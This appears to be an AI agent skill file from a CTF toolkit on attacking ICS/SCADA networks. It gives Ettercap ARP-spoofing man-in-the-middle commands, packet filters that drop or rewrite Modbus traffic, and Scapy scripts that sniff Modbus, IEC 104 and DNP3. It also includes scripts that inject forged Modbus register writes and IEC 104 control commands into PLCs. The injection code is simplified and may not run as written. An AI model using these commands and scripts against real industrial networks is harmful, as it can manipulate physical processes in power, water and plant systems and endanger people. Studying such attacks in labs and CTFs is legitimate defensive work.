ics-traffic

name	ics-traffic
description	ICS/SCADA protocol analysis and exploitation using Ettercap MITM, Scapy packet crafting, for Modbus/TCP, IEC 104, and DNP3 protocols. Trigger: When analyzing ICS protocols, MITM attacks, Modbus, IEC 104, or DNP3.
license	MIT
metadata	{"author":"ctf-arsenal","version":"1.0","category":"ics-scada"}

ICS/SCADA Traffic Analysis and Exploitation

When to Use

Load this skill when:

• Analyzing Industrial Control System (ICS) or SCADA traffic
• Performing MITM attacks on ICS protocols
• Sniffing or injecting Modbus/TCP packets
• Working with IEC 60870-5-104 or DNP3 protocols
• Using Ettercap for ARP spoofing
• Crafting packets with Scapy

Prerequisites

Essential Setup

# Enable IP forwarding (REQUIRED for MITM)
sudo sysctl -w net.ipv4.ip_forward=1

# Verify setting
sysctl net.ipv4.ip_forward  # Should return 1

Why? Without IP forwarding, intercepted packets won't be forwarded, causing network disruption and failed MITM.

Check Network Interface

# List available interfaces
ip link show

# Common interface names
# - eth0: Wired Ethernet
# - wlan0: Wireless
# - enp0s3: VirtualBox/VMware NAT

Ettercap MITM Attacks

Basic ARP Spoofing

# Text mode (recommended for CTF)
sudo ettercap -T -i eth0 -M arp:remote /192.168.1.100/ /192.168.1.1/
#                          │          └─target────┘  └─gateway──┘
#                          │
#                          └─ Mode: arp:remote (full duplex MITM)

# GUI mode
sudo ettercap -G

Target Format

Format	Example	Description
Single IP	/192.168.1.100/	Single target
IP range	/192.168.1.1-30/	Range of IPs
CIDR notation	/192.168.1.0/24/	Entire subnet
With ports	/192.168.1.100/80,443/	Specific ports
MAC + IP	/00:11:22:33:44:55/192.168.1.100/	MAC and IP

ARP Spoofing Modes

# Full duplex MITM (recommended)
sudo ettercap -T -i eth0 -M arp:remote /target/ /gateway/

# One-way poisoning
sudo ettercap -T -i eth0 -M arp:oneway /target/ /gateway/

# Auto-detect targets
sudo ettercap -T -i eth0 -M arp

Capture Traffic to PCAP

# Save intercepted traffic
sudo ettercap -T -i eth0 -M arp:remote /target/ /gateway/ -w capture.pcap

# Analyze with Wireshark
wireshark capture.pcap

# Or with tshark
tshark -r capture.pcap -Y "modbus"

Ettercap Filters

Filter Compilation

# Compile filter
sudo etterfilter modbus_filter.etter -o modbus_filter.ef

# Use filter in Ettercap
sudo ettercap -T -i eth0 -M arp:remote /target/ /gateway/ -F modbus_filter.ef

Filter Syntax

// Basic structure
if (condition) {
    action;
}

// Common conditions
if (ip.proto == TCP && tcp.dst == 502) {
    msg("Modbus packet detected\n");
}

// Check specific bytes
if (ip.proto == TCP && tcp.dst == 502) {
    if (DATA.data + 7 == 0x03) {  // Function code 0x03 (Read Holding Registers)
        msg("Read Holding Registers request\n");
    }
}

// Block packets
if (tcp.dst == 502 && DATA.data + 7 == 0x05) {  // Write Single Coil
    drop();
    msg("Blocked Write Single Coil\n");
}

// Modify packets
if (tcp.dst == 502) {
    replace("old_value", "new_value");
}

Example: Modbus Write Blocker

// File: modbus_block_writes.etter
if (ip.proto == TCP && tcp.dst == 502) {
    // Block write commands
    if (DATA.data + 7 == 0x05 ||  // Write Single Coil
        DATA.data + 7 == 0x06 ||  // Write Single Register
        DATA.data + 7 == 0x0F ||  // Write Multiple Coils
        DATA.data + 7 == 0x10) {  // Write Multiple Registers
        drop();
        msg("Blocked Modbus write command\n");
    }
}

Common ICS Protocols and Ports

Protocol	Port	Description	Use Case
Modbus/TCP	502	Industrial protocol	PLCs, SCADA systems
IEC 60870-5-104	2404	Power grid control	Substation automation
DNP3	20000	Utility SCADA	Electric/water utilities
OPC UA	4840	Industrial IoT	Modern SCADA
EtherNet/IP	44818	Rockwell automation	Allen-Bradley PLCs
S7comm	102	Siemens protocol	Siemens PLCs

Modbus Protocol

Modbus Function Codes

Code	Function	Type	Risk
0x01	Read Coils	Read	Low
0x02	Read Discrete Inputs	Read	Low
0x03	Read Holding Registers	Read	Low
0x04	Read Input Registers	Read	Low
0x05	Write Single Coil	Write	High
0x06	Write Single Register	Write	High
0x0F	Write Multiple Coils	Write	High
0x10	Write Multiple Registers	Write	High

Scapy Modbus Sniffer

#!/usr/bin/env python3
"""Sniff Modbus/TCP traffic"""
from scapy.all import *

def modbus_callback(pkt):
    """Process Modbus packets"""
    if TCP in pkt and pkt[TCP].dport == 502:
        payload = bytes(pkt[TCP].payload)
        if len(payload) >= 8:
            func_code = payload[7]
            func_names = {
                0x01: "Read Coils",
                0x03: "Read Holding Registers",
                0x05: "Write Single Coil",
                0x06: "Write Single Register",
                0x0F: "Write Multiple Coils",
                0x10: "Write Multiple Registers",
            }
            func_name = func_names.get(func_code, f"Unknown (0x{func_code:02x})")
            print(f"[Modbus] {pkt[IP].src} -> {pkt[IP].dst} : {func_name}")

# Sniff on interface
sniff(filter="tcp port 502", prn=modbus_callback, store=0)

Scapy Modbus Injector

#!/usr/bin/env python3
"""Inject Modbus/TCP packets"""
from scapy.all import *

def inject_modbus_write(target_ip, register_addr, value):
    """Inject Write Single Register command"""
    # Modbus TCP header
    transaction_id = 0x0001
    protocol_id = 0x0000
    length = 0x0006
    unit_id = 0x01
    
    # Modbus PDU
    function_code = 0x06  # Write Single Register
    
    # Build packet
    modbus_pdu = struct.pack(
        ">HHHBBB H H",
        transaction_id,
        protocol_id,
        length,
        unit_id,
        function_code,
        register_addr,
        value
    )
    
    pkt = IP(dst=target_ip)/TCP(dport=502)/Raw(load=modbus_pdu)
    send(pkt)
    print(f"[+] Injected: Write Register {register_addr} = {value}")

# Usage
inject_modbus_write("192.168.1.100", register_addr=100, value=999)

IEC 60870-5-104 Protocol

Scapy IEC 104 Sniffer

#!/usr/bin/env python3
"""Sniff IEC 60870-5-104 traffic"""
from scapy.all import *

def iec104_callback(pkt):
    """Process IEC 104 packets"""
    if TCP in pkt and pkt[TCP].dport == 2404:
        payload = bytes(pkt[TCP].payload)
        if len(payload) >= 2:
            start_byte = payload[0]
            if start_byte == 0x68:  # IEC 104 APDU start
                apdu_len = payload[1]
                print(f"[IEC 104] {pkt[IP].src} -> {pkt[IP].dst} : APDU Length {apdu_len}")

sniff(filter="tcp port 2404", prn=iec104_callback, store=0)

IEC 104 Command Injection

#!/usr/bin/env python3
"""Inject IEC 104 control commands"""
from scapy.all import *

def inject_iec104_command(target_ip, ioa, value):
    """Inject single command"""
    # IEC 104 APDU structure (simplified)
    start = 0x68
    length = 0x0E
    control_field = 0x0000
    type_id = 0x2D  # C_SC_NA_1 (Single Command)
    
    apdu = bytes([start, length]) + struct.pack("<H", control_field)
    apdu += bytes([type_id, 0x01, 0x06, 0x00])  # SQ=0, NumIX=1
    apdu += struct.pack("<I", ioa)  # Information Object Address
    apdu += bytes([value & 0xFF])
    
    pkt = IP(dst=target_ip)/TCP(dport=2404)/Raw(load=apdu)
    send(pkt)
    print(f"[+] Injected IEC 104 command: IOA={ioa}, Value={value}")

DNP3 Protocol

Scapy DNP3 Sniffer

#!/usr/bin/env python3
"""Sniff DNP3 traffic"""
from scapy.all import *

def dnp3_callback(pkt):
    """Process DNP3 packets"""
    if TCP in pkt and pkt[TCP].dport == 20000:
        payload = bytes(pkt[TCP].payload)
        if len(payload) >= 10 and payload[0:2] == b'\x05\x64':
            print(f"[DNP3] {pkt[IP].src} -> {pkt[IP].dst}")

sniff(filter="tcp port 20000", prn=dnp3_callback, store=0)

Practical Tips

Verify MITM Success

# On target machine, check ARP table
arp -a

# Look for gateway MAC matching attacker's MAC
# Example output:
# ? (192.168.1.1) at AA:BB:CC:DD:EE:FF [ether] on eth0
#                    └─ Should be attacker's MAC if MITM successful

Restore Network After Attack

# Ettercap automatically restores ARP on exit (Ctrl+C)

# Manual restore (if needed)
sudo arp -d 192.168.1.1  # Delete poisoned entry

Analyze Captured Traffic

# Filter Modbus in Wireshark
tcp.port == 502

# Extract Modbus function codes with tshark
tshark -r capture.pcap -Y "modbus" -T fields -e modbus.func_code

# Count packet types
tshark -r capture.pcap -Y "tcp.port == 502" | wc -l

Quick Reference

Task	Command
Enable IP forward	sudo sysctl -w net.ipv4.ip_forward=1
Basic ARP spoof	sudo ettercap -T -i eth0 -M arp:remote /target/ /gw/
Compile filter	sudo etterfilter filter.etter -o filter.ef
Use filter	sudo ettercap -T -i eth0 -F filter.ef -M arp:remote ...
Capture PCAP	sudo ettercap -T -i eth0 -M arp -w capture.pcap
Sniff Modbus	sudo python3 scapy_scripts/modbus_sniffer.py
Check ARP table	arp -a

Bundled Resources

Scapy Scripts

• scapy_scripts/modbus_sniffer.py - Modbus/TCP packet sniffer
• scapy_scripts/modbus_inject.py - Inject Modbus commands
• scapy_scripts/modbus_replay.py - Replay captured Modbus traffic
• scapy_scripts/iec104_sniffer.py - IEC 104 packet sniffer
• scapy_scripts/iec104_inject.py - IEC 104 command injection
• scapy_scripts/dnp3_sniffer.py - DNP3 packet sniffer

Ettercap Filters

• ettercap_filters/modbus_filter.etter - Log Modbus function codes
• ettercap_filters/modbus_block_writes.etter - Block Modbus write commands
• ettercap_filters/modbus_read_only.etter - Allow only read operations
• ettercap_filters/iec104_filter.etter - IEC 104 packet logging
• ettercap_filters/iec104_block_commands.etter - Block IEC 104 control
• ettercap_filters/dnp3_block_commands.etter - Block DNP3 commands

References

• references/ettercap_usage.md - Comprehensive Ettercap guide
• references/modbus_quickref.md - Modbus protocol reference
• references/ics_ports.md - ICS protocol port reference

Keywords

ICS, SCADA, industrial control systems, Modbus, Modbus/TCP, IEC 60870-5-104, IEC 104, DNP3, Ettercap, ARP spoofing, MITM, man in the middle, Scapy, packet injection, PLC, programmable logic controller, protocol analysis, network security, critical infrastructure